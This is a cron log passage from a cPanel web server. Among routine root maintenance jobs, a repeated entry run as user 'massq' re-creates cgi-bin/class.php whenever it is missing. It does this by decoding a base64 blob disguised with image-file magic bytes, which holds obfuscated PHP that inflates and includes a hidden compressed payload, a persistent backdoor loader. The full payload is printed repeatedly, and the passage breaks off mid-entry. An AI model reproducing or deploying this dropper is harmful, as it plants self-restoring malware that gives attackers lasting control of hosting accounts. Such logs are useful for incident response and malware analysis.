Sep  2 22:30:01 server CROND[4878]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:30:01 server CROND[4879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:30:01 server CROND[4877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:31:01 server CROND[5710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:31:01 server CROND[5711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:31:01 server CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:32:01 server CROND[6091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:32:01 server CROND[6092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:32:01 server CROND[6093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:33:02 server CROND[6474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:33:02 server CROND[6475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:33:02 server CROND[6476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:34:01 server CROND[6936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:34:01 server CROND[6938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:34:01 server CROND[6937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:35:01 server CROND[7321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:35:01 server CROND[7322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:35:01 server CROND[7327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:35:01 server CROND[7326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:35:01 server CROND[7323]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 22:35:01 server CROND[7324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:35:01 server CROND[7325]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:35:01 server CROND[7329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:35:01 server CROND[7328]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:36:01 server CROND[8164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:36:01 server CROND[8165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:36:01 server CROND[8166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:37:01 server CROND[8527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:37:01 server CROND[8528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:37:01 server CROND[8529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:38:01 server CROND[8892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:38:01 server CROND[8893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:38:01 server CROND[8894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:39:01 server CROND[9368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:39:01 server CROND[9370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:39:01 server CROND[9371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 22:39:01 server CROND[9369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:40:01 server CROND[9765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:40:01 server CROND[9767]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:40:01 server CROND[9769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:40:01 server CROND[9768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:40:01 server CROND[9774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:40:01 server CROND[9772]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:40:01 server CROND[9773]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:40:01 server CROND[9770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:41:01 server CROND[10601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:41:01 server CROND[10602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:41:01 server CROND[10603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:42:01 server CROND[10977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:42:01 server CROND[10976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:42:01 server CROND[10978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:42:01 server CROND[10980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyL